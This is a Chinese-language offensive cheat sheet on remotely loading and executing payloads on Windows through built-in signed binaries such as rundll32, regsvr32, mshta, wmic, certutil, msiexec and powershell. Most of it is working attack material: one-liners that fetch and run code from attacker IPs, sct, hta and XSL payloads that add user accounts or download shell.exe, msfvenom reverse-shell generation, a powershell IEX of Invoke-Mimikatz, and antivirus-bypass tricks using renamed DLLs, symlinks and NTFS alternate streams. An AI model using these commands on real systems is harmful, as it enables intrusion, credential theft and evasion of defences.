windows远程加载Payload代码执行归纳总结

概览说明

总体来讲高频使用的上线方法包括powershell、rundll32 、regsvr32、mshta,其他根据具体场景进行结合利用(参考免杀),像powershell、wmi都是综合的专题。类似powershell downloadstring、mshta、rundll32 都可以实现内存加载,无文件落地。

命令详解

rundll32

1
2
3
4
5
6
7
其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。
项目地址:https://github.com/Hood3dRob1n/JSRat-Py.git

步骤一:开始运行JSRat,监听本地8888端口。
步骤二:通过url访问,可以查看恶意代码。
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:

image-20210716151511033

image-20210716151521639

参考:https://github.com/3gstudent/Javascript-Backdoor

Rundll32还可以用来调用某些内联脚本:

未成功

其中,负责执行网络调用的是rundll32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct");this.close()

image-20210720091200285

regsvr32

远程加载sct文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行
在目标机上执行:
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
regsvr32 /u /s /i:http://site.com/js.png scrobj.dll

可以通过自己构造.sct文件;js.png也是如此,去下载执行我们的程序
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>

image-20210715183100996

dll上线

regsvr32 artifact16.dll

But 有个弹窗, 点击确定后就掉线了

image-20210716172006457

bypass

一般杀软 拦截情况为:http和scrobj.dll的组合

改个名字可以绕过,但是记得操作的时候在链接的dll目录下进行!

1
regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll
  • 改变 scrobj.dll 的名称
1
2
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  • 为 scrobj.dll 创建符号链接
1
2
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  • 利用 NTFS ADS 功能绕过
1
2
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  • 先将 sct 文件放到本地,然后执行
1
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dllRegsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
  • 直接调用scrobj.dll的DllInstall方法

其实可以不用regsvr32.exe,使用他的目的是因为他是 windows 自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用 scrobj.dll 的 DllInstall 方法实现代码执行。C#代码如下:

1
using System;using System.Reflection;using System.Runtime.InteropServices;using System.ComponentModel;namespace scrobj_call_csharp{    static class NativeMethod    {        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);    }    class Program    {        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]        private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);        static void Main(string[] args)        {            const string dllPath = "scrobj.dll";            IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);            if (hDllScr == IntPtr.Zero)            {                var lasterror = Marshal.GetLastWin32Error();                var innerEx = new Win32Exception(lasterror);                innerEx.Data.Add("LastWin32Error", lasterror);                throw new Exception("Can't load Dll " + dllPath, innerEx);            }            IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");            DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));            fDllInstall(false, "http://192.168.50.129:80/payload.sct");        }    }}

成功调用scrobj.dll的DllInstall 方法实现代码执行。

mshta

基础说明

实际上,mshta跟cscript/wscript是一类的,但是它还可以执行内联脚本,我们可以通过内联脚本来下载并执行Payload代码:

Js&vbs

它支持命令行参数,可以接收JS和VBS的方法。看示例(在命令行下测试):

JS:

mshta vbscript:window.execScript(“alert(‘hello world!’);”,”javascript”)

VBS:

mshta javascript:window.execScript(“msgBox(‘hello world!’):window.close”,”vbs”)

1
mshta vbscript:Close(Execute("GetObject(""script:http://192.168.214.1:6677/sct.sct"")"))

ps:有请求,但并未执行。

正常上线

1
mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。mshta http://192.168.28.128/run.htarun.hta内容如下:<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令self.close</script><body>demo</body></HEAD> </HTML>

CS自带的powershell的 html application

image-20210719235358971

注意事项

mshta支持httphtpps

但mshta在执行hta脚本时,类似于浏览器,会根据链接返回头进行对应的解析操作,所以这里只有当返回头为html时才会运行

否则会被当普通文本进行解析

对于github的代码,返回的格式为text/plain

如果使用如下命令执行:

1
mshta https://raw.githubusercontent.com/3gstudent/test/master/calc.hta

会把代码当成text,无法解析成html,导致脚本无法执行

但是我们可以换一个思路:

1
将hta文件传到github的博客下面,就能够被解析成html,实现代码执行

将hta文件上传至github博客下面,地址为https://3gstudent.github.io/test/calc.hta

执行如下命令:

1
mshta https://3gstudent.github.io/test/calc.hta

成功弹出计算器

image-20210720092417656

报错类

弹框提示此计算机上的安全设置禁止访问其它域的数据源,如下图

image-20210720092934150

1
解决方法:IE浏览器`-`Internet选项`-`安全选择`可信站点`,添加博客地址:https://3gstudent.github.io/自定义级别`,找到`通过域访问数据源`,选择`启用IE浏览器默认会拦截vbs脚本实现的下载功能

msiexec

1
用于安装Windows Installer安装包,可远程执行msi文件。#生成msi包msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi#远程执行msiexec /q /i http://192.168.28.128/evil.msi

wmic

1
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
1
<?xml version='1.0'?><xsl:stylesheet version="1.0"      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"      xmlns:msxsl="urn:schemas-microsoft-com:xslt"      xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {	var r = new ActiveXObject("WScript.Shell").Run("certutil.exe -urlcache -split -f http://lyshark.com/shell.exe");        var r = new ActiveXObject("WScript.Shell").Run("shell.exe");        return nodelist.nextNode().xml;   }</msxsl:script><xsl:template match="/">   <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

image-20210726231746676

image-20210726231704103

IEExec

需要管理员权限

1
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。生成Payload:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe使用管理员身份打开cmd,分别运行下面两条命令。C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

win7 测试失败

image-20210720100539953

Win10 下载exe,执行需要单独命令

下载到缓存目录

C:\Users\xx\AppData\Local\Microsoft\Windows\INetCache\IE\K1C3JB46

image-20210720100917134

image-20210720101604731

pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

1
在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent."C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sctcscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1  script:http://192.168.214.1:6677/sct.sct

test.sct

1
<?XML version="1.0"?><scriptlet><registration    description="Bandit"    progid="Bandit"    version="1.00"    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"    remotable="true"    ></registration><script language="JScript"><![CDATA[        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]></script></scriptlet>

certutil

1
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。注:缓存目录为:”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”#下载文件certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php#删除缓存certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
1
base64应用,可以将exe base64编号后,通过命令行写进去,然后还原回来。certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dllcertutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

bitsadmin

1
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

(只能命令下载到指定路径上,win7以上;使用bitsadmin的下载速度较慢)

regasm&regsvc

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

不能URL, 只能UNC 、 Webdav

image-20210717103421131

MSXSL.EXE

需要单独下载安装,不合适。

1
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。下载地址为:https://www.microsoft.com/en-us/download/details.aspx?id=21714msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xslwin10,默认 安全设置不允许在此样式表内执行脚本代码。

image-20210717104132728

Demo.xml

1
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

exec.xsl

1
<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");   return nodelist.nextNode().xml;   }</msxsl:script><xsl:template match="/">   <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

windows-wget

1
Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。wget.exe下载:https://eternallybored.org/misc/wget/wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

FTP

1
一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。ftp 127.0.0.1usernamepasswordget fileexit

可以考虑脚本化自动下载功能

powershell

1
远程下载文件保存在本地:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatzpowershell -exec bypass -f \\webdavserver\folder\payload.ps1远程执行命令:powershell (new-object System.Net.WebClient).DownloadFile( ‘http://192.168.168.183/1.exe’,’C:\111111111111111.exe’)powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

UNC

ipc$

ipc$(net user)

1
#建立远程IPC连接net use \\192.168.28.128\ipc$ /user:administrator "abc123!"#复制远程文件到本地主机copy \\192.168.28.128\c$\2.txt D:\test

copy

1
copy \\x.x.x.x\xx\poc.exexcopy d:\test.exe  \\x.x.x.x\test.exe

cmd.exe

1
cmd.exe /k < \\webdavserver\folder\batchfile.txt

image-20210714173344492

msbuild

cmd /V /c “set MB=”C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe” & !MB! /noautoresponse /preprocess \webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml”

odbcconf

1
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

cscript

1
cscript //E:jscript \\webdavserver\folder\payload.txt

pcalua

1
pcalua.exe -a \\server\payload.dll

参考

URL

https://www.cnblogs.com/xiaozi/p/12721960.html

https://www.cnblogs.com/backlion/p/7908563.html

https://blog.csdn.net/qq_27446553/article/details/78694506

https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/fileless-threats 无文件攻击

https://paper.seebug.org/1103/ ATT&CK 之防御逃逸

战术 MITRE ATT&CK链接
XSL脚本代码代理执行 https://attack.mitre.org/techniques/T1220/
利用可信网络服务进行数据隐蔽传输 https://attack.mitre.org/techniques/T1102/
虚拟化和沙箱的检测 https://attack.mitre.org/techniques/T1497
受信任的开发人员实用程序利用 https://attack.mitre.org/techniques/T1127/
时间戳伪装 https://attack.mitre.org/techniques/T1099/
PubPrn代理脚本代码执行 https://attack.mitre.org/techniques/T1216/
签名二进制程序代理执行 https://attack.mitre.org/techniques/T1218/
Regsvr32代理代码执行 https://attack.mitre.org/techniques/T1117/
进程注入 https://attack.mitre.org/techniques/T1055/
利用NTFS ADS进行数据隐藏 https://attack.mitre.org/techniques/T1096/
Mshta代理执行脚本代码 https://attack.mitre.org/techniques/T1170/
CHM文件隐藏代码执行 https://attack.mitre.org/techniques/T1223/
CMSTP配置文件参数利用 https://attack.mitre.org/techniques/T1191/
本机程序编译代码执行 https://attack.mitre.org/techniques/T1500/
额外窗口内存注入 https://attack.mitre.org/techniques/T1181/
间接命令执行 https://attack.mitre.org/techniques/T1202/
解码文件并执行 https://attack.mitre.org/techniques/T1140/
控制面板文件代码执行 https://attack.mitre.org/techniques/T1196/
入侵痕迹清除 https://attack.mitre.org/techniques/T1070/
文件加壳 https://attack.mitre.org/techniques/T1045/
修改文件权限 https://attack.mitre.org/techniques/T1222/

INIT

  1. 命令本身可以接受一个HTTP URL作为其中一个参数;
  2. 命令接受一个UNC路径(指向一台WebDAV服务器);
  3. 命令能够执行一个小型的内联脚本(脚本负责完成下载任务);

@subTee